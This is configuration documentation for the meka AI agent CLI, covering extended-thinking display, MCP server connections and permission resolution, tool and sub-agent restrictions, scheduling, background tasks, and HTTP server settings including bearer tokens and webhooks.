Presentation and budget settings for extended thinking (anthropic-messages and claude-subscription providers). Whether thinking is on, and which wire encoding it uses, is the per-profile thinking key - not a setting here.

While the model is thinking, the REPL draws a live Thinking... line so a long pause reads as work rather than as a hang. On claude-subscription it carries the server’s own running estimate (Thinking... (150 tokens)), redrawn in place as the count climbs; anthropic-messages does not report one, so the line stays bare. The count is coarse – a progress signal, not an accounting figure.

When the block ends the line stays on screen as a record that the phase happened; if the model returned readable reasoning, that text replaces the line instead. Nothing is drawn when output is piped or redirected, since there is no terminal to redraw on.

thinking.budget_tokens

Maximum number of tokens the model can use for thinking. Read only under thinking = "budgeted"; the adaptive encoding lets the model set its own budget and sends no cap. A per-profile [providers.<name>].thinking_budget takes precedence over this.

Default: 16000

thinking.show_content

Whether to show the whole text of a thinking block. When false, a block carrying readable reasoning is previewed as a single dimmed line, flattened across line breaks and cut to fit display.max_width, and the history replayed on resume (resume_show_recent) omits it entirely. Emphasis on that line is styling rather than text, so a summary’s **Bold header** reads as a bold header there too.

When true, the block streams to stderr as it arrives, behind the same dimmed Thinking... label, with every line after the first indented by two spaces. There is no height limit: asking to see the reasoning is asking to see all of it. On a model that streams its whole chain of thought this is the difference between a token counter and the text, and the live Thinking... (N tokens) indicator retires as soon as the first words arrive, since the text is the better progress signal.

Formatting follows display.render_mode, with one difference: reasoning is painted entirely in dark grey, so emphasis carries as bold or italic rather than as colour. That is what keeps a thinking block readable as a footnote rather than as the reply. Under termimad the markdown is rendered, so a reasoning summary’s **Bold header** arrives as a bold header instead of as asterisks; under raw and syntect the source is shown as written, which for reasoning means those two produce the same output. Fenced code keeps its fences and is not syntax-highlighted, for the same reason.

Either way the block is still sent on subsequent turns, for reasoning continuity.

One cost to know about: a turn that has streamed you reasoning will not retry a transient provider failure. meka retries only while nothing the model produced has reached you, since a second attempt would repeat it, and reasoning is the first thing a turn produces. Under the default the deltas are discarded and the one-line preview is built from the completed block, so nothing is repeatable and retries behave as they always have.

Default: false

[thinking]
budget_tokens = 20000
show_content = true

Instructions

Standing instructions are not a config key. They live at a conventional path beside config.toml, because prose long enough to be worth writing is miserable to maintain inside a TOML string:

~/.config/meka/
├── config.toml
├── instructions.md      # or instructions/*.md
├── memory/
└── skills/

See Instructions for the full picture. In short: write instructions.md, or split a large set across instructions/*.md, and meka reads it at startup into the ## User Instructions section of the system prompt. To pass the text as a string instead (containers, CI), use MEKA_INSTRUCTIONS, MEKA_INSTRUCTIONS_FILE, or --instructions.

[mcp]

Which MCP servers to connect to, and what their tools are allowed to do. The MCP page covers the rest: the meka mcp command suite, where a server’s secrets live, the OAuth flows, the connection lifecycle, and the resource and prompt tools.

[[mcp.servers]]

An array of MCP server configurations. Each entry defines a server to connect to at startup.

FieldRequiredDescription
nameYesUnique name for this server. Used as namespace prefix for tools (name__tool). Must match [A-Za-z0-9_-]+, must not contain __, and must not be meka, ide, or start with mcp_.
transportYesTransport type: "stdio" (spawn subprocess) or "http" (streamable HTTP).
commandStdio onlyPath or name of the executable to spawn. On Windows, npx / .cmd / .bat / .ps1 are auto-wrapped in cmd /c.
argsNoArguments to pass to the command.
envNoEnvironment variables to set for the spawned process (stdio only). The child does not inherit meka’s environment; see below.
urlHTTP onlyURL of the MCP server endpoint.
authNoOAuth authentication configuration (see below). Mutually exclusive with a stored bearer token.
headersNoCustom HTTP headers to include with every request (HTTP only).
headers_helperNoPath to an executable whose stdout (Name: Value\n lines) is merged over headers at connect-time (HTTP only). Executed with MEKA_MCP_SERVER_NAME / MEKA_MCP_SERVER_URL in env; 15 s timeout.
permissionNoServer-wide permission override. Applies to every tool on this server, beating the readOnlyHint the server advertises and the [mcp].default_permission global fallback. See Permission resolution below.
allowed_toolsNoOptional allow-list of raw tool names (the form the server advertises, not the server__tool namespaced form). When set and non-empty, only these tools are registered; all others from this server are ignored.
disabled_toolsNoOptional block-list of raw tool names. Applied after allowed_tools; tools listed here are never registered. Both lists can coexist; the net set is allowed_tools \ disabled_tools.
eager_load_toolsNoRaw tool names that should ship eager-loaded instead of deferred. Listed tools skip the load_tool round-trip and sit in the cacheable tools-array prefix from turn 1. Use this for tools the agent invokes constantly (search, fetch, …); leave others deferred so the tools array stays lean.
tool_permissionsNoPer-tool permission overrides keyed by raw tool name. Beats the server-level permission and the server’s readOnlyHint when resolving a tool’s required permission.
trust_read_only_hintNoWhether this server’s readOnlyHint: true may classify a tool as read. Defaults to true. Set false for a server you have not audited: its hints become advisory for display only, so its tools fall through to the strict unrestricted fallback, skipping [mcp].default_permission (a global convenience must not re-grant what a per-server audit decision refused). A readOnlyHint: false is still honoured either way, since it only raises the requirement. See Permission resolution below.
disabledNoWhen true, the server is skipped entirely at startup: no process is spawned, no HTTP connect is attempted. Flip it back with meka mcp enable <name> or by editing the config. Defaults to false.
requiredNoWhen true, a turn is rejected while this enabled server is not Connected (a disabled server is never started, so it never gates). Over the HTTP API that rejection is a 503 /errors/mcp-unavailable naming the servers. When false, the session runs without it and its tools are simply absent. Defaults to [mcp].strict (itself false), so servers are optional unless they opt in.

[mcp] top-level table

FieldPurpose
default_permissionFallback permission for MCP tools whose server didn’t advertise readOnlyHint and doesn’t have a permission override. Accepts "none", "read", "workspace", "ask", or "unrestricted". If unset the hardcoded fallback is "unrestricted" (strict). It stays there deliberately: an MCP server runs unsandboxed, so workspace cannot confine it.
strictDefault for every server’s required flag. When true, all enabled servers gate the turn; when false (the default) only servers with required = true do. An unavailable optional server doesn’t stop the turn; its failure is logged once when it happens, and its live state is shown by /mcp list in the REPL or probed with meka mcp reconnect <name>.
grace_secondsPer-turn cap on how long to wait for still-Pending servers to connect before deciding. Default 3. Set to 0 to skip waiting (useful for scripts that want to fail fast).
connect_timeout_secondsPer-server timeout for connect + initialize + list_tools. A hung stdio spawn or slow HTTPS handshake can’t stall the whole fleet past this bound. Default 30.

Permission resolution

Every MCP tool’s required permission is resolved through a five-step chain; the first match wins:

  1. server.tool_permissions[<raw-tool>]: explicit per-tool override.
  2. server.permission: explicit server-level override. Applies to every tool on that server regardless of what the server advertises.
  3. tool.annotations.readOnlyHint from the server: trueRead, falseUnrestricted. The true half is skipped when the server sets trust_read_only_hint = false, and a hint skipped that way also bypasses step 4, landing on step 5.
  4. [mcp].default_permission: global fallback. Not consulted for a hint that step 3 refused.
  5. Hardcoded Unrestricted: strict ultimate fallback.

User-supplied config (1, 2, 4) always beats the server’s self-classification; if a server lies about a tool, you can override. But when no user config says anything, the server’s hint is trusted for that specific tool so readOnlyHint = false destructive tools don’t silently become Read-accessible just because the user opted into a lenient global default.

Hint spoofing: readOnlyHint is asserted by the server and not verified by meka, and MCP tools run in the server’s own process with no sandbox. A server that claims readOnlyHint = true for a tool that in fact writes therefore gets to write your tree while meka sits at read: MCP tools are outside the read-mode filesystem boundary that covers meka’s built-ins (see Permissions).

Three defences, in increasing order of bluntness:

  • tool_permissions on the specific tools you want pinned (step 1 wins).
  • trust_read_only_hint = false on the server, which makes its hints advisory for display only. A refused hint drops straight to the strict unrestricted fallback, deliberately skipping [mcp].default_permission: that key is a global default, and letting it answer would mean default_permission = "read" silently re-granting exactly what the per-server flag refused. None of that server’s hinted tools is reachable at read without an explicit override.
  • server.permission = "unrestricted" on the whole server (step 2 wins), or disabled_tools to remove the tool entirely.

The hint is trusted by default because most servers annotate honestly and requiring per-tool config for every server would make read mode impractical. trust_read_only_hint is the switch for a server you have not audited.

Stale config: entries in allowed_tools / disabled_tools / eager_load_tools / tool_permissions that don’t match any advertised tool get a warn! line at connect time. The server still connects; you just see a heads-up so you can clean up after the server renames a tool. A name that appears in both eager_load_tools and disabled_tools also warns: the disabled filter wins, so eager-loading the disabled tool is a no-op.

Visibility across levels: the resolved permission doesn’t hide a tool from the agent. Every registered tool is listed in the per-turn context with its required level noted inline, and a [Permission context] section names the current level and states in one line what it allows (it does not enumerate tools; the per-tool levels are in the catalogue above it). The agent can still reason about an inaccessible tool and suggest /permission <level> to enable it; the permission gate is enforced at dispatch time. Keeping the tool catalogue visible across levels is also what lets the Claude prompt cache survive mid-session permission toggles.

The stdio server’s environment

A stdio server is a child process that talks to the network, and it does not inherit meka’s environment. It receives the same curated base a read-mode shell gets (PATH so it can resolve its own binaries, HOME, locale, TMPDIR), plus whatever the server’s own env table sets.

Configuring a server is a decision to run its code, not a decision to hand it every credential on the machine: without this, ANTHROPIC_API_KEY, AWS_* and GITHUB_TOKEN all rode along into every server you had ever added.

The base also carries the machine’s network configuration (HTTP_PROXY, HTTPS_PROXY, NO_PROXY, SSL_CERT_FILE, SSL_CERT_DIR, NODE_EXTRA_CA_CERTS and the usual siblings), because a server that cannot see them connects to nothing behind a corporate proxy and fails every call with an error naming none of the cause. Those say where to go and whom to trust; they grant nothing.

Three families are deliberately left out and have to be requested per server: SSH_AUTH_SOCK, which is a live credential agent; NODE_OPTIONS, which takes --require and therefore arbitrary code; and the import paths PYTHONPATH / NODE_PATH / VIRTUAL_ENV, which change what a program loads. A server that genuinely needs one takes it explicitly:

[[mcp.servers]]
name = "tooling"
transport = "stdio"
command = "my-tooling-server"
env = { PYTHONPATH = "${PYTHONPATH}" }

A server that genuinely needs a secret asks for it by name, and ${VAR} still reads meka’s environment at connect time:

[[mcp.servers]]
name = "github"
transport = "stdio"
command = "npx"
args = ["-y", "@modelcontextprotocol/server-github"]
env = { GITHUB_PERSONAL_ACCESS_TOKEN = "${GITHUB_TOKEN}" }

Examples

Exa: reliable web search when the built-in DuckDuckGo scraper gets CAPTCHA’d. The free tier works without an API key; paste a key into the headers table for the paid tier:

# Free tier, no key required
meka mcp add exa https://mcp.exa.ai/mcp
# Paid tier, expands from EXA_API_KEY at connect time
meka mcp add exa https://mcp.exa.ai/mcp --header "x-api-key=${EXA_API_KEY}"

Well-annotated server: no config needed. Every tool is classified by its own readOnlyHint (read tools Read, write tools Write):

[[mcp.servers]]
name = "notion"
transport = "http"
url = "https://mcp.notion.com/mcp"

User-declared trust on an unannotated server (all tools accessible in Read):

[[mcp.servers]]
name       = "internal"
transport  = "http"
url        = "https://mcp.internal/…"
permission = "read"

Overriding a mis-annotated or distrusted tool (one specific tool requires unrestricted):

[[mcp.servers]]
name      = "notion"
transport = "http"
url       = "https://mcp.notion.com/mcp"

[mcp.servers.tool_permissions]
"notion-do-something-scary" = "unrestricted"

Subset of a server’s tools (only query registers, all others are ignored):

[[mcp.servers]]
name          = "pg"
transport     = "stdio"
command       = "npx"
args          = ["-y", "@modelcontextprotocol/server-postgres"]
allowed_tools = ["query"]

Block-list with a narrow exception (all fs tools are Read-accessible except the two destructive ones, which are never registered):

[[mcp.servers]]
name           = "filesystem"
transport      = "stdio"
command        = "npx"
args           = ["-y", "@modelcontextprotocol/server-filesystem"]
permission     = "read"
disabled_tools = ["delete_file", "move_file"]

MCP tools are registered with namespaced names in the format servername__toolname to prevent collisions with built-in tools or between servers.

Tool and resource descriptions returned from MCP servers are truncated at 2048 characters to keep the rendered catalogue bounded.

Environment variable substitution

Every string field listed above (command, args, env values, url, headers values) supports ${VAR} and ${VAR:-default} expansion from the process environment. Missing variables with no default leave the literal ${VAR} in place and log a warning at startup. Use this to avoid committing secrets:

[[mcp.servers]]
name = "github"
transport = "http"
url = "https://mcp.github.com"
headers = { X-Api-Key = "${GITHUB_MCP_TOKEN}" }

env, args and headers may contain a secret, but they are not one: env sets a subprocess’s whole environment, args carries connection strings, and headers carries X-Tenant-Id as readily as X-Api-Key. meka cannot tell which is which, so they stay in config.toml and ${VAR} is how you keep a value out of it.

A bearer token and an OAuth client secret are unambiguously secrets, so they are not config at all. They live in meka’s database and are set with meka mcp add --auth-token-stdin / --client-secret-stdin, or afterwards with meka mcp login. See Credentials.

[mcp.servers.auth]

OAuth authentication for HTTP MCP servers. Set type to choose the authentication method. This is mutually exclusive with a stored bearer token.

The client secret is not a field here. It is a secret, so it lives in the database: set it with meka mcp add --client-secret-stdin or meka mcp login <name> --client-secret-stdin. See Credentials.

FieldRequiredDescription
typeYesAuth method: "client_credentials", "client_credentials_jwt", or "oauth"
client_idVariesOAuth client ID (required for client_credentials/jwt, optional for oauth with dynamic registration)
scopesNoOAuth scopes to request
resourceNoResource parameter (RFC 8707), client_credentials only
signing_key_pathJWT onlyPath to PEM private key file
signing_algorithmNoJWT signing algorithm: RS256 (default), RS384, RS512, ES256, ES384
redirect_portNoLocal port for OAuth authorization code callback. When omitted, meka binds to a random ephemeral port (recommended). oauth only.

Examples

Stdio server

[[mcp.servers]]
name = "postgres"
transport = "stdio"
command = "npx"
args = ["-y", "@modelcontextprotocol/server-postgres", "postgresql://localhost/mydb"]
permission = "unrestricted"

HTTP server

[[mcp.servers]]
name = "web-tools"
transport = "http"
url = "http://localhost:8080/mcp"
permission = "read"

HTTP server with authentication

The bearer token is not in the file. Store it once with meka mcp add api https://api.example.com/mcp --auth-token-stdin, or meka mcp login api --auth-token-stdin for a server that already exists.

[[mcp.servers]]
name = "api"
transport = "http"
url = "https://api.example.com/mcp"
permission = "unrestricted"

[mcp.servers.headers]
X-Custom-Header = "value"

Stdio server with environment variables

[[mcp.servers]]
name = "github"
transport = "stdio"
command = "npx"
args = ["-y", "@modelcontextprotocol/server-github"]
permission = "read"

[mcp.servers.env]
GITHUB_TOKEN = "ghp_..."

Multiple servers

[[mcp.servers]]
name = "filesystem"
transport = "stdio"
command = "npx"
args = ["-y", "@modelcontextprotocol/server-filesystem", "/home/user/projects"]
permission = "read"

[[mcp.servers]]
name = "github"
transport = "stdio"
command = "npx"
args = ["-y", "@modelcontextprotocol/server-github"]
permission = "unrestricted"

HTTP server with OAuth client credentials

[[mcp.servers]]
name = "api"
transport = "http"
url = "https://api.example.com/mcp"
permission = "unrestricted"

[mcp.servers.auth]
type = "client_credentials"
client_id = "my-client-id"
scopes = ["read", "write"]

client_credentials needs a client secret, which is stored rather than written here: pass --client-secret-stdin to meka mcp add, or meka mcp login api --client-secret-stdin afterwards.

HTTP server with JWT client credentials

[[mcp.servers]]
name = "api"
transport = "http"
url = "https://api.example.com/mcp"

[mcp.servers.auth]
type = "client_credentials_jwt"
client_id = "my-client-id"
signing_key_path = "/path/to/private-key.pem"
signing_algorithm = "RS256"
scopes = ["admin"]

HTTP server with OAuth authorization code flow

On first connection, meka opens a browser for authorization and stores the token for future use.

[[mcp.servers]]
name = "github-mcp"
transport = "http"
url = "https://mcp.example.com"

[mcp.servers.auth]
type = "oauth"
client_id = "my-app-id"
scopes = ["repo", "user"]
redirect_port = 8400

If client_id is omitted, meka attempts dynamic client registration with the server.

[tools]: built-in tool filters

The three knobs [[mcp.servers]] exposes for MCP tools also apply to meka’s built-in tools (read_file, write_file, execute_command, search_web, etc.) via a top-level [tools] table. MCP per-server filtering is separate from this and keeps its own namespaces; this block only affects the built-ins.

KeyPurpose
allowed_toolsOptional allow-list of built-in tool names. When set and non-empty, only these built-ins register, with one exception: the seven MCP meta-tools register regardless, because they are how the agent reaches a configured server’s resources and prompts at all. Naming one here is inert and warns at startup; use disabled_tools to remove one. Use meka tools list to see the canonical names.
disabled_toolsBlock-list of built-in tool names. Applied after allowed_tools; a tool here is never registered even if it also appears in the allow-list.
tool_permissionsPer-tool required-permission override keyed by built-in name. Beats the hardcoded required level from the tool’s impl. Levels: none, read, workspace, ask, unrestricted.

Stale entries (a name that doesn’t match any built-in) emit a warn! at startup. meka still starts; the warning just flags a likely typo or a tool the binary renamed.

Restrict a session to read-only inspection:

[tools]
allowed_tools = ["read_file", "find_files", "search_contents", "fetch_url"]

Force execute_command to need unrestricted so ask mode prompts for every shell call:

[tools.tool_permissions]
execute_command = "unrestricted"

Disable web access entirely in a locked-down environment:

[tools]
disabled_tools = ["search_web", "fetch_url"]

Sub-agents spawned via agent_spawn inherit the same filter; a disabled built-in is disabled everywhere. To take something away from sub-agents only, use [subagents]. Run meka tools list to see every built-in’s effective required permission, whether a [tools.tool_permissions] override is in effect, and whether the current config enables it.

[subagents]

Capabilities a sub-agent may never hold. Where [tools] restricts everyone, this block restricts only workers.

KeyTypeDefaultDescription
disabled_serverslist[]MCP servers a sub-agent cannot see at all
disabled_toolslist[]Individual tool names a sub-agent cannot see
[subagents]
disabled_servers = ["mekabridge"]
disabled_tools = ["mcp__notion__create_page"]

disabled_servers is the one that matters. Naming a server removes everything it offers from every sub-agent: its tools, its resources, and its prompts. Reach for it when a server exists to talk to you or to act on your behalf. The motivating case is a server that can message the user: without this, a worker three levels down can send a message the user has no way to distinguish from the one they are actually talking to.

disabled_tools takes names as they appear in the tool list, so built-ins (write_file) and namespaced MCP tools (mcp__notion__create_page) share one namespace. For a whole server, prefer disabled_servers: it covers the resource and prompt surfaces that a tool-name list cannot reach.

An entry matching nothing emits a warn! at startup, the same way [tools] does. A typo here denies nothing while reading as a restriction, which is worse than writing no config at all.

These are floors. An orchestrator can restrict a particular worker further with agent_spawn’s deny_servers / deny_tools parameters, and each level of nesting inherits everything above it, but nothing can grant back what this block took away. There is deliberately no call-site allow-list for that reason.

Why memory and instructions are not configured here

Two things a sub-agent might inherit are deliberately absent: the memory store and the instructions file. Both are granted per call by agent_spawn and default to nothing.

The distinction is what config can actually enforce. A capability can be withheld: a tool the registry never registered cannot be reached, however the parent phrases the task. Context cannot. An agent holding the instructions has them verbatim in its own system prompt, and one with memory_read can read any memory – so either can be copied into a worker’s prompt whatever config says. A [subagents].memory = "none" key would look like a boundary while stopping only the worker’s own browsing, not the content reaching it, and a control that reads as a guarantee but isn’t one is worse than none.

The other half of the argument is that the config guardrail existed for a failure mode that no longer applies. It was there because the parent might forget – which only matters for things that are on by default. Both of these now default to off, so forgetting produces a clean worker.

[skills]

Controls the skill store. See the Skills guide.

KeyTypeDefaultDescription
enabledbooltrueRegister skill_read / skill_search and render the skills index
agent_managedboolfalseAdditionally register skill_write / skill_delete
extra_pathsarray[]Additional directories to scan, read-only
[skills]
enabled = false

Setting enabled = false keeps every skill tool’s schema out of every request and renders no skills section. Files already in ~/.config/meka/skills/ are left untouched.

agent_managed = true lets the agent author its own skills. It is off by default because you normally curate that store yourself; it exists for a long-running agent that dispatches sub-agents, where a skill is the only artifact that both survives the session and can be handed to a worker as its task. Sub-agents never receive the authoring tools whatever this is set to. See Letting the Agent Manage Skills.

extra_paths adds directories to the scan. They are strictly read-only: meka never creates them and never writes into them, so an entry that does not exist is simply skipped and leaves nothing behind. A leading ~ is expanded.

[skills]
extra_paths = ["~/.agents/skills"]

~/.agents/skills is the cross-client convention, so pointing at it makes skills installed by other Agent Skills clients visible here. It is not a default: reading a directory outside meka’s own namespace is your call. meka’s own store is searched first and wins a name collision. There is no automatic project-level scan, for the same reason meka does not read config or instructions from the working directory; name the path here if you want a project’s skills read. See Reading Skills from Other Directories.

An entry that repeats an earlier one, or that names meka’s own skills directory, is dropped with a warning: it would otherwise be scanned twice and every skill in it reported as shadowed by itself. An empty string is dropped too, since it would expand to your home directory.

[memory]

Controls the agent’s durable note store. See the Memory guide.

KeyTypeDefaultDescription
enabledbooltrueRegister the memory_* tools and render the memory index
[memory]
enabled = false

Setting enabled = false keeps the four memory_* tool schemas out of every request and renders no memory section, which is worth doing for lean sessions that will never use it. Memories already stored are left untouched, and meka memory still reaches them.

There is deliberately no environment variable and no CLI flag here: whether an agent keeps memories is a property of the installation, not something to vary per run.

[schedule]

Controls the wakeups the agent schedules for itself. See the Scheduling guide.

KeyTypeDefaultDescription
enabledbooltrueRegister the schedule_* tools and run the scheduler
poll_intervalduration"10s"How often due jobs are checked
missed_graceduration"24h"How late a one-shot job may be and still fire after downtime
gate_timeoutduration"30s"Wall-clock budget for a gate probe
max_jobsint50Per-session ceiling, refused at schedule_create
max_consecutive_firesint5Per-session ceiling on turns spent in one sweep
claim_leaseduration"1h"How long a host’s claim on a due occurrence is good for
[schedule]
enabled = true
poll_interval = "10s"
missed_grace = "24h"
gate_timeout = "30s"
max_jobs = 50
max_consecutive_fires = 5
claim_lease = "1h"

poll_interval is the real resolution floor: a job whose interval is shorter than the tick fires once per tick, not once per interval.

missed_grace applies only to one-shot jobs. Recurring jobs need no equivalent, because their occurrences are one period apart, so the most recent missed one is always less than a period old; the scheduler coalesces the rest into a single catch-up fire.

claim_lease is how long a crashed host’s occurrence stays unavailable before another host takes it. A due job is leased rather than consumed, so the row survives until the turn is delivered and a host that dies mid-delivery costs a retry rather than the occurrence. Raise it only if a gate probe plus a turn could plausibly exceed an hour; lowering it below that risks a second host taking an occurrence the first is still running, which the session lock catches at the cost of a deferral and a re-run gate probe. A host refuses to start on a value at or under gate_timeout, since a lease that cannot outlast the host’s own probe is never right; that check does not cover the turn after the probe, which is unbounded, so leave headroom on top of it.

max_consecutive_fires interleaves sessions: without it, one session’s whole backlog runs to completion before another session’s single due job is reached. Jobs past the budget keep their occurrence, run no gate, and are taken by the next sweep most-overdue first. It bounds a batch rather than a rate – sweeps do not overlap and the next starts as soon as the last ends, so a backlog still produces one turn per job, just in interleaved groups. 0 is rejected, since it would hold every job over forever; use enabled = false to turn scheduling off.

Setting enabled = false keeps the three schedule_* tool schemas out of every request and leaves existing jobs on disk without firing.

As with [skills] and [memory], there is no environment variable and no CLI flag: whether an agent may schedule its own turns is a property of the installation.

[background]

Controls tool calls the agent starts and does not wait for. See the Background Tasks guide.

KeyTypeDefaultDescription
enabledboolfalseOffer the background parameter and register the task_* tools
max_tasksint10Concurrent tasks per session, refused at dispatch
[background]
enabled = true
max_tasks = 10

Alone among the capability blocks, this one is off by default. [schedule], [skills], and [memory] add capability without changing when a turn ends; this changes the contract of the primary interaction into “you asked, it answered, and something else may interrupt you later”. That is right for an unattended assistant and wrong for someone using the REPL as a command line. A scheduled job also takes an explicit act to create, whereas background is reachable from any tool call, so an agent will reach for it unprompted.

Setting enabled = false keeps the background property out of every tool schema and the two task_* tools out of every request, rather than advertising a parameter that would only ever be refused.

Outcome delivery shares [schedule].poll_interval, so that key sets how long a finished task waits before it is reported, whether or not scheduling itself is enabled.

Config-only, like the blocks above: no environment variable, no CLI flag.

[serve]

Configuration for meka serve, the HTTP API server. See the HTTP API usage guide for a full walkthrough.

serve.bind

Address and port the HTTP server listens on.

TypeDefault
string"127.0.0.1:8080"
[serve]
bind = "0.0.0.0:8080"

Security: Binding to 0.0.0.0 exposes the server on all interfaces. In production, keep 127.0.0.1 and front with a TLS-terminating reverse proxy.

serve.max_body_bytes

Maximum request body size in bytes. Requests exceeding this limit are rejected with 413 Payload Too Large.

TypeDefault
integer10485760 (10 MiB)

serve.relay_provider_errors

Whether a 502’s payload carries the provider’s own response text, as a provider_response member alongside detail.

On by default. The upstream’s error type is the actionable part of a failed turn, and “consult the server log” is no answer to anyone driving a meka they do not operate. meka acp has always handed the same text to its client, so withholding it on HTTP left the text just as public while making the one surface quieter.

What it can expose is usually the upstream’s response body, which can name the operator’s provider account and its rate-limit posture: a fact about your billing relationship rather than about the caller or the conversation, which is why this is a switch rather than a decision meka makes for you. Not always, though. The member carries the failing call’s error message, and for some failures that is meka’s own sentence about the call rather than anything the provider sent.

It reaches sessions:r, not only sessions:w. Submitting a turn takes the write scope, but the failure also rides the terminal turn.failed event, and GET /v1/sessions/{id}/stream replays that to any reader. Turn this off where read-only tokens go to people who may watch a session but are not entitled to the account behind it.

[serve]
relay_provider_errors = false

detail is unchanged either way, so a client reading only that sees the same sentence and a context overflow keeps its “shorten it before retrying” remedy. Off, the member is simply absent and the text goes to the server log alone.

Bounded to the provider’s own response. A required MCP server that is down still reports only the server names under /errors/mcp-unavailable, because that reason is meka’s own subprocess text and has carried a command line and its filesystem path. This key does not turn that on.

TypeDefault
booleantrue

serve.docs

Whether to serve the Swagger UI at /v1/docs and the OpenAPI document at /v1/openapi.json.

Off by default. These are the only routes on the surface that take no bearer token and describe the deployment rather than report on it: what they publish is the shape of every endpoint you expose. That is exactly what you want while building a client against a local meka serve, and exactly what you do not want reachable from anywhere else. Turn it on deliberately.

[serve]
docs = true
TypeDefault
booleanfalse

serve.max_concurrent_turns

Process-wide cap on in-flight turns across all sessions. When the cap is reached, new turn submissions return 429 Too Many Requests with a Retry-After header. Leave it unset for no limit; 0 is rejected at startup, because a cap of zero would 429 every turn rather than mean “unlimited”.

TypeDefault
integerunbounded

serve.stream_replay_events

How many SSE events per turn to retain so a client reconnecting to GET /v1/sessions/{id}/stream with Last-Event-ID can replay what it missed.

TypeDefault
integer256

Matches the live broadcast channel’s capacity: retaining more than the channel can buffer would let a reconnecting client replay events a connected consumer would have been dropped for missing. Raising it buys a longer reconnect window at the cost of per-session memory during a turn. 0 switches replay off, so a reconnect receives only what happens from then on and is told its replay is incomplete rather than being handed a silently truncated one.

serve.stream_reattach_grace

How long a streaming turn keeps running after its SSE consumer disconnects, waiting for a reconnect. Accepts duration strings.

TypeDefault
string (duration)"30s"

Zero subscribers means nobody is listening, and a turn with no audience is spending provider tokens for nothing. That is the right instinct and the wrong deadline: a client whose connection just dropped and one that is never coming back are the same observation until the window expires. Set "0s" to cancel a turn the moment its stream drops, which spends less on abandoned work and makes re-attach useful only for turns that already finished.

serve.idle_timeout

How long a session can sit idle (no turns submitted) before the GC evicts it from memory. Accepts duration strings like "24h", "30m", "7d". Set to "0" to disable idle GC.

TypeDefault
string (duration)"24h"

Eviction drops the in-memory runtime but preserves the SQLite row; a later request transparently re-attaches. See delete_on_idle to also remove the DB row.

serve.gc_scan_interval

How often the background GC scanner runs. Accepts duration strings.

TypeDefault
string (duration)"5m"

serve.delete_on_idle

When true, idle-evicted sessions also have their SQLite row deleted. When false (default), only the in-memory state is dropped and the session can be re-attached later.

TypeDefault
boolfalse

serve.shutdown_drain_timeout

Maximum time to wait for in-flight turns and tasks to finish during graceful shutdown (SIGTERM / SIGINT). After this timeout, remaining tasks are aborted and the process exits.

TypeDefault
string (duration)"30s"

[[serve.tokens]]

An array of bearer tokens for API authentication. At least one token is required.

KeyRequiredDescription
tokenYes*The bearer token value. Supports ${ENV_VAR} substitution. Mutually exclusive with token_file.
token_fileYes*Path to a file containing the token (one line, trimmed). Mutually exclusive with token. A startup warning is logged if the file is world-readable.
descriptionNoHuman-readable label for this token (appears in logs).
scopesYesArray of scope strings. One :r and one :w per subsystem: sessions, skills, memory, schedule, mcp.

* Exactly one of token or token_file must be set.

Inline plaintext tokens log a startup warning; use ${ENV_VAR} or token_file for production.

Examples

Development token (inline):

[[serve.tokens]]
token = "sk_dev_test123"
scopes = ["sessions:r", "sessions:w"]

Production token (environment variable):

[[serve.tokens]]
token = "${MEKA_BRIDGE_TOKEN}"
description = "telegram bridge"
scopes = ["sessions:r", "sessions:w"]

Production token (file-based):

[[serve.tokens]]
token_file = "/etc/meka/bridge.token"
description = "telegram bridge"
scopes = ["sessions:r", "sessions:w"]

Admin token with every scope:

[[serve.tokens]]
token = "${MEKA_ADMIN_TOKEN}"
description = "operator"
scopes = [
    "sessions:r", "sessions:w",
    "skills:r", "skills:w",
    "memory:r", "memory:w",
    "schedule:r", "schedule:w",
    "mcp:r", "mcp:w",
]

Scopes are flat: memory:r does not imply memory:w, and neither implies the other. See the HTTP API scope table for what each permits. An unrecognised scope logs a warning at startup and grants nothing, so a typo like sessions:write is visible rather than silently inert.

[[serve.webhooks]]

Outbound endpoints meka POSTs to when something happens that no client is waiting on: a scheduled job firing, a background task finishing. Omit the block entirely and meka never makes an outbound request.

[[serve.webhooks]]
url = "https://bridge.example/meka-hook"
secret = "${MEKA_WEBHOOK_SECRET}"     # or secret_file = "/etc/meka/hook.secret"
events = ["turn.finished", "turn.failed", "task.finished", "schedule.fired"]
timeout = "10s"
max_retries = 3
KeyTypeDefaultNotes
urlstringrequiredhttps:// or http://; supports ${ENV_VAR}
secretstringnoneHMAC key for X-Meka-Signature; supports ${ENV_VAR}
secret_filepathnoneMutually exclusive with secret; chmod 0600
eventsarrayrequiredOne or more of the four names above
timeoutduration"10s"Per attempt
max_retriesinteger3Retries after the first attempt

events is required and every name must be recognised. An unknown event is a startup error, not a warning, unlike an unknown token scope: a scope that grants nothing leaves the token working for whatever else it holds, whereas an endpoint whose only subscription is a typo is silently never called at all.

Payloads carry identifiers and metadata, never message content. Omitting secret sends unsigned deliveries and logs a warning. See Webhooks for the payload shape and the signature-verification recipe.

Environment Variables

The config file is the recommended way to configure meka. Environment variables are useful for operational overrides; for example, in CI pipelines, containers, or to isolate a per-project config and data directory.

These operational variables override config file values but are overridden by CLI flags.

Provider configuration is not configurable via the environment. Provider selection comes from the config file and --provider; the model, base URL and every other model-tied setting come from the selected profile; secrets come from the database via meka provider. There are no provider env vars. This is deliberate: an ambient OPENAI_API_KEY or MEKA_PROVIDER left in the environment must never silently rebind which account a named profile bills.

meka-Specific Variables

VariableDescriptionExample
MEKA_PERMISSIONDefault permission modenone, read, workspace, ask, unrestricted
MEKA_INSTRUCTIONSStanding instructions as a string, overriding the instructions.md file. Equivalent to --instructions. Used by the mekabox container wrapper, which mounts the config directory read-only and so cannot supply a file.Be terse.
MEKA_INSTRUCTIONS_FILEStanding instructions read from this path (a file, or a directory of *.md). For a file you did not choose the location of, such as a Kubernetes ConfigMap. Conflicts with MEKA_INSTRUCTIONS./run/secrets/meka-instructions
MEKA_CONFIG_DIROverride the default config directory. Points at the meka directory itself (contains config.toml and skills/). The only isolation knob that works on every platform: dirs::config_dir() ignores $XDG_CONFIG_HOME on macOS/Windows. Must be absolute; an empty or relative value is ignored with a warning rather than loading ./config.toml from wherever meka happened to start./tmp/meka-test/meka
MEKA_DATA_DIROverride the default data directory (where meka.db lives). Same cross-platform escape hatch: dirs::data_dir() ignores $XDG_DATA_HOME on macOS/Windows. Useful for tests, portable installs, and per-project session isolation. Must be absolute, for the same reason as above and more sharply: meka.db holds every provider credential./tmp/meka-test/data/meka
